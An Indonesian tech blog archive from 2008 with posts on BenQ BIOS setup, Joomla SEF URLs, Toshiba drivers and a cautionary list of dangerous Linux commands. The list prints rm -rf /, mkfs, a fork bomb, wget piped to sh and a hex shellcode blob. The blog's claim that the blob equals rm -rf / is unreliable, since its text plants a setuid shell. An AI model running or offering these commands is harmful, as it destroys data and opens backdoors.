December 17, 2008
Installasi Notebook BenQ Joybook
Petunjuk Instalasi
Sebelum anda melakukan installasi Microsoft Windows XP, terlebih dahulu anda harus memastikan setting BIOS SATA Operation Mode di pilihan Compatible.
1. Cara memasuki BIOS adalah dengan menekan tombol F2 pada saat muncul logo BenQ.
2. Pilih ke Tab Advanced.
3. Pilih menu IDE Configuration
4. Ubah Setting SATA Operation Mode dari Enhanced ke Compatible (jika tidak di posisi compatible).
5. Save BIOS Setting
6. Lakukan installasi Windows.
Jika langkah di atas tidak dilakukan, anda tidak akan dapat menginstall Microsoft Windows XP.
December 5, 2008
SEF config di Joomla
SEF = Search Engine Friendly, yang artinya baik bagi mesin pencari. Yang dimaksudkan di sini adalah URL yang digunakan dan ditampilkan di situs baik buat mesin pencari.
Berikut adalah contoh-contoh dari URL di address dari browser maupun URL yang ditampilkan di status bar sewaktu hover (link dilewati oleh mouse).
1. http://www.id-joomla.com/index.php?option=com_frontpage&Itemid=1
URL maupun link-link yang ada di situs tidak menggunakan SEF apapun, baik bawaan Joomla, maupun Advanced.
Positif:
- Tidak menggunakan database sama sekali utk mentranslasi URL/Link
- Anda tidak perlu menghabiskan waktu untuk tweak disana-sini untuk mendapatkan kombinasi yg benar di htaccess maupun komponen SEF
Negatif:
- Tidak Search Engine Friendly
- Mudah diketahui engine maupun extension yang dipakai di situs tsb
2. http://www.id-joomla.com/component/option,com_frontpage/Itemid,1/
URL maupun link-link menggunakan SEF standard bawaan dari Joomla. Ini harus dipadukan dengan penggunakan .htaccess
Pada umumnya .htaccess cukup dengan mengganti nama htaccess.txt bawaan instalasi Joomla menjadi .htaccess, dgn syarat (namun tidak mutlak): Instalasi Joomla berada di root domain, tidak berada di sub domain ataupun direktori
Positif:
- Tidak menggunakan database sama sekali utk mentranslasi URL/Link
- Usaha untuk mendapatkan kombinasi yg benar di .htaccess minimal, dan semua URL atau link tidak akan ada masalah
Negatif:
- Search Engine Friendly tapi tidak optimal
- Masih bisa diketahui engine maupun extension yang dipakai di situs tsb
3. http://www.id-joomla.com/home.html
URL maupun link-link menggunakan advanced SEF, dalam hal ini banyak komponen yg tersedia untuk mendapatkan link spt di atas, mis. sh404SEF, OpenSEF (Artio), AdvancedSEF dll. Dalam tulisan ini khusus dibahas komponen sh404SEF
Positif:
- Search Engine Friendly, karena mesin pencari bahkan bisa menggunakan link tsb sbg keyword
- Tidak mudah untuk pengunjung untuk mengetahui engine maupun extension yang dipakai situs. (NB. Translasi dari extension tergantung ke plugin untuk component itu sendiri, jadi jika plugin yg spesifik untuk komponen X tdk diinstall atau tidak ada, maka default URL atau link tidak akan ditranslasi. Akibatnya link yg ditampilkan masih akan seperti jenis URL #2 diatas, yaitu SEF bawaan Joomla)
Negatif:
- Menggunakan database untuk menyimpan hasil-hasil translasi URL
- Perlu mendapatkan setting yg benar di .htaccess dan komponen itu sendiri. Lumayan banyak masalahnya karena link yg sudah ditranslasi tidak menuju address sebenarnya yg diharapkan. (Contoh: mungkin sewaktu mengklik CB login atau profile akan muncul Not Authorized, dll)
December 3, 2008
Mengatasi Masalah Toshiba Satellite M19
Kemarin sempat kebingungan saat di minta’in tolong teman install Laptop Toshiba Satellite M19. Penyebabnya adalah CD bawa’an Laptop cuman berisi Ghost hasil installasi yang udah jadi sekalian program + drivernya, parahnya ternyata semua nya menggunakan bahasa korea. Sempat bingung gimana cara ngerubah bahasa korea ke bahasa English. Setelah muter-muter mikir akhirnya dapet solusinya. Driver Toshiba Satellite M19 dah gak ada lagi di internet and di web support toshiba, penyelesaiannya akhirnya dapet setelah googling sana sini ketemu sama dengan menggunakan drivermax. hasil Ghost dari Installasi awal Toshiba yang dah full driver di backup drivernya aja and di simpen di Drive D .Setelah itu Install Windows Xp Home Edition yang English dan setelah terinstall selesai tinggal di ambil update drivernya pada folder hasil back’upa’an tadi jadi dehh.
December 2, 2008
7 Perintah Mematikan di Linux
Linux terkenal karena aspek keamanan penggunaan. Virus yang berteman baik dengan Windows misalnya, harus mencari cara yang sangat rumit untuk bisa menembus Linux.
Meski demikian, dunia yang fana ini (hehehe…) merupakan tempat bagi beragam orang dengan berbagai sifat. Para penjahat dan psikopat bisa saja menyamar di berbagai forum dan mailing list, dan alih-alih memberikan solusi justru bisa membuat anda menderita. Adakalanya perintah-perintah berbahaya di Linux dijadikan sebagai lelucon untuk menggoda (meski berbagai distro memiliki etika dan guiding principle yang melarang lelucon berbahaya) meski ada juga yang memang berniat menjebak orang lain.
Berikut adalah 7 perintah berbahaya yang disarikan dari 7 Deadly Command :
- Perintah rm -rf /
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari.Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri - Perintah menggunakan bilangan hexa
- Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk. - Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa. - Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk) - Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yangtidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya. - Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman
Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux.
Sumber : www.vavai.com

